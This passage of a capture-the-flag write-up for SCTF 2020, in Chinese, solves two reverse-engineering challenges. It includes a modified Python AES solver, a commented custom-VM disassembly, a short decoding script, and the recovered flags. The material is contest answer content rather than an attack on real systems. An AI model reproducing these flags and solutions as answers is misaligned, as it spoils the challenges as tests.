                          [0x0A, 0x17, 0x43, 0x59], [0xA4, 0x6E, 0xCE, 0xDE], [0x7D, 0x9B, 0xF9, 0xE5], [0x7E, 0xC8, 0x19, 0xD9],
                          [0x3F, 0xE4, 0xAB, 0xCD], [0x9B, 0x8A, 0x65, 0x13], [0xE6, 0x11, 0x9C, 0xF6], [0x98, 0xD9, 0x85, 0x2F],
                          [0x2A, 0xA2, 0x9E, 0xDA], [0xB1, 0x28, 0xFB, 0xC9], [0x57, 0x39, 0x67, 0x3F], [0xCF, 0xE0, 0xE2, 0x10],
                          [0xE0, 0x28, 0x7F, 0x59], [0x51, 0x00, 0x84, 0x90], [0x06, 0x39, 0xE3, 0xAF], [0xC9, 0xD9, 0x01, 0xBF],
                          [0xE8, 0xF5, 0x4A, 0x13], [0xB9, 0xF5, 0xCE, 0x83], [0xBF, 0xCC, 0x2D, 0x2C], [0x76, 0x15, 0x2C, 0x93],
                        ]

    def change_key(self, master_key):
        self.round_keys = text2matrix(master_key)
        # print self.round_keys

        for i in range(4, 4 * 11):
            self.round_keys.append([])
            if i % 4 == 0:
                byte = self.round_keys[i - 4][0]        \
                     ^ Sbox[self.round_keys[i - 1][1]]  \
                     ^ Rcon[i / 4]
                self.round_keys[i].append(byte)


                for j in range(1, 4):
                    byte = self.round_keys[i - 4][j]    \
                         ^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
                    self.round_keys[i].append(byte)
            else:
                for j in range(4):
                    byte = self.round_keys[i - 4][j]    \
                         ^ self.round_keys[i - 1][j]
                    self.round_keys[i].append(byte)

        # print self.round_keys

    def encrypt(self, plaintext):
        self.plain_state = text2matrix(plaintext)

        self.__add_round_key(self.plain_state, self.round_keys[:4])
        for i in range(1, 10):
            self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])
            raw_input('?')

        self.__sub_bytes(self.plain_state)
        self.__shift_rows(self.plain_state)
        self.__add_round_key(self.plain_state, self.round_keys[40:])
        return matrix2text(self.plain_state)

    def decrypt(self, ciphertext):
        self.cipher_state = text2matrix(ciphertext)

        self.__add_round_key(self.cipher_state, self.round_keys[40:])
        self.__inv_shift_rows(self.cipher_state)
        self.__inv_sub_bytes(self.cipher_state)

        for i in range(9, 0, -1):
            self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])

        self.__add_round_key(self.cipher_state, self.round_keys[:4])
        return matrix2text(self.cipher_state)

    def __add_round_key(self, s, k):
        for i in range(4):
            tmp = k[i][::-1]
            for j in range(4):
                s[i][j] ^= tmp[j]

    def __round_encrypt(self, state_matrix, key_matrix):
        self.__sub_bytes(state_matrix)
        self.__shift_rows(state_matrix)
        self.__mix_columns(state_matrix)
        self.__add_round_key(state_matrix, key_matrix)

    def __round_decrypt(self, state_matrix, key_matrix):
        self.__add_round_key(state_matrix, key_matrix)
        self.__inv_mix_columns(state_matrix)
        self.__inv_shift_rows(state_matrix)
        self.__inv_sub_bytes(state_matrix)

    def __sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = Sbox[s[i][j]]




    def __inv_sub_bytes(self, s):
        for i in range(4):
            for j in range(4):
                s[i][j] = InvSbox[s[i][j]]




    def __shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]




    def __inv_shift_rows(self, s):
        s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
        s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
        s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]


    def __mix_single_column(self, a):
        # please see Sec 4.1.2 in The Design of Rijndael
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)




    def __mix_columns(self, s):
        for i in range(4):
            self.__mix_single_column(s[i])




    def __inv_mix_columns(self, s):
        # see Sec 4.1.3 in The Design of Rijndael
        for i in range(4):
            u = xtime(xtime(s[i][0] ^ s[i][2]))
            v = xtime(xtime(s[i][1] ^ s[i][3]))
            s[i][0] ^= u
            s[i][1] ^= v
            s[i][2] ^= u
            s[i][3] ^= v
        self.__mix_columns(s)


if __name__ == '__main__':
    key = 'SCTF2020'.encode('hex')+'1a'*8
    cipher = AES(int(key.encode('hex'),16))
    check = [0x8E, 0x38, 0x51, 0x73, 0xA6, 0x99, 0x2A, 0xF0, 0xDA, 0xD5, 0x6A, 0x91, 0xE9, 0x4E, 0x98, 0xCE,
            0x2A, 0xB7, 0x3D, 0x40, 0xF1, 0xE5, 0x1D, 0xAB, 0xEF, 0xEE, 0xB0, 0xD6, 0x14, 0x0B, 0x2A, 0x95]
    check = map(lambda x:x^0x55,check)
    for i in range(7,14):
      check[i] = ((check[i] << 4) | (check[i] >> 4))&0xff
      check[i] ^= 0xef
    for i in range(14,21):
      check[i] = ((check[i] & 0xcc ) >> 2) | (check[i] << 2 & 0xcc )
      check[i] ^= 0xbe
    for i in range(21,28):
      check[i] = ((check[i] & 0xaa ) >> 1) | (check[i] << 1 & 0xaa)
      check[i] ^= 0xad
    c = ''.join(map(chr,check))    
    m1 = cipher.decrypt(int(c.encode('hex')[:32],16))    
    m2 = cipher.decrypt(int(c.encode('hex')[32:],16))
    m = '{:032X}'.format(m1).decode('hex')
    m += '{:032X}'.format(m2).decode('hex')
    print m
SCTF{y0u_found_the_true_secret}

flag_detector

解题思路此题通过web接口方式生成数据和传递输入,最终的check是vm代码。解析完的vm代码大概功能如下:

func0:
  0000 call     func1   ;get flag
  0002 call     func4   ;check length  xor with 0x7a
  0004 call     func5   ;check
  0006 push     01
  0008 pop      r1
  0009 call     func3   ;set ret_var
  000B ret

func1: get flag
  0000 get flag
  0001 ret

func2:  len
  0000 push     01
L_0002:
  0002 push     flag
  0003 cmp      01
  0005 je       L_000D
  0007 pop
  0008 push     01
  000A add
  000B jmp      L_0002
L_000D:
  000D pop
  000E push     01
  0010 sub
  0011 pop      r1
  0012 ret

func3:
  0000 set      ret_var
  0001 end
  0002 ret


func4:
  0000 call     func2   ;len
  0002 push     r1
  0003 cmp      16
  0005 je       L_000C
  0007 push     02
  0009 pop      r1
  000A call     func3
L_000C:
  000C pop
  000D push     01
L_000F:
  000F cmp      17
  0011 je       L_001C
  0013 dup      stack
  0014 pop      r1
  0015 call     func6   ;xor 0x7a
  0017 push     01
  0019 add
  001A jmp      L_000F
L_001C:
  001C ret


func5:
  0000 push     01
  0002 pop r2
  0003 push     49
  0005 pop r1
  0006 call     func7
  0008 push     02
  000A pop r2
  000B push     59
  000D pop r1
  000E call     func7
  0010 push     03
  0012 pop r2
  0013 push     46
  0015 pop r1
  0016 call     func7
  0018 push     04
  001A pop r2
  001B push     54
  001D pop r1
  001E call     func7
  0020 push     05
  0022 pop r2
  0023 push     -6F
  0025 pop r1
  0026 call     func7
  0028 push     06
  002A pop r2
  002B push     74
  002D pop r1
  002E call     func7
  0030 push     07
  0032 pop r2
  0033 push     67
  0035 pop r1
  0036 call     func7
  0038 push     08
  003A pop r2
  003B push     7C
  003D pop r1
  003E call     func7
  0040 push     09
  0042 pop r2
  0043 push     79
  0045 pop r1
  0046 call     func7
  0048 push     0A
  004A pop r2
  004B push     66
  004D pop r1
  004E call     func7
  0050 push     0B
  0052 pop r2
  0053 push     63
  0055 pop r1
  0056 call     func7
  0058 push     0C
  005A pop r2
  005B push     2A
  005D pop r1
  005E call     func7
  0060 push     0D
  0062 pop r2
  0063 push     7C
  0065 pop r1
  0066 call     func7
  0068 push     0E
  006A pop r2
  006B push     4D
  006D pop r1
  006E call     func7
  0070 push     0F
  0072 pop r2
  0073 push     79
  0075 pop r1
  0076 call     func7
  0078 push     10
  007A pop r2
  007B push     7B
  007D pop r1
  007E call     func7
  0080 push     11
  0082 pop r2
  0083 push     2B
  0085 pop r1
  0086 call     func7
  0088 push     12
  008A pop r2
  008B push     2B
  008D pop r1
  008E call     func7
  0090 push     13
  0092 pop r2
  0093 push     4D
  0095 pop r1
  0096 call     func7
  0098 push     14
  009A pop r2
  009B push     2B
  009D pop r1
  009E call     func7
  00A0 push     15
  00A2 pop r2
  00A3 push     2B
  00A5 pop r1
  00A6 call     func7
  00A8 push     16
  00AA pop r2
  00AB push     6F
  00AD pop r1
  00AE call     func7
  00B0 ret

func6:    xor 7a
  0000 push r1
  0001 push flag
  0002 push     7A
  0004 xor
  0005 pop flag
  0006 ret


func7:
  0000 call     func8   ;xor with 0x6c
  0002 push     r2
  0003 push     flag
  0004 push     r1
  0005 sub
  0006 cmp      04
  0008 je       L_000F
  000A push     02
  000C pop r1
  000D call     func3
L_000F:
  000F ret

func8:    xor 6c
  0000 push r1
  0001 push     6C
  0003 xor
  0004 pop r1
  0005 ret

反解就比较简单了:

  d = [0x49, 0x59, 0x46, 0x54, -0x6F, 0x74, 0x67, 0x7C, 0x79, 0x66, 0x63, 0x2A, 0x7C, 0x4D, 0x79, 0x7B, 0x2B, 0x2B, 0x4D, 0x2B, 0x2B, 0x6F,]
  print ''.join(map(lambda x:chr((((x&0xff)^0x6c)+4)&0xff ^0x7a),d))
SCTF{functi0n_ca11_11}

end

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

发布于 07-22

文章被以下专栏收录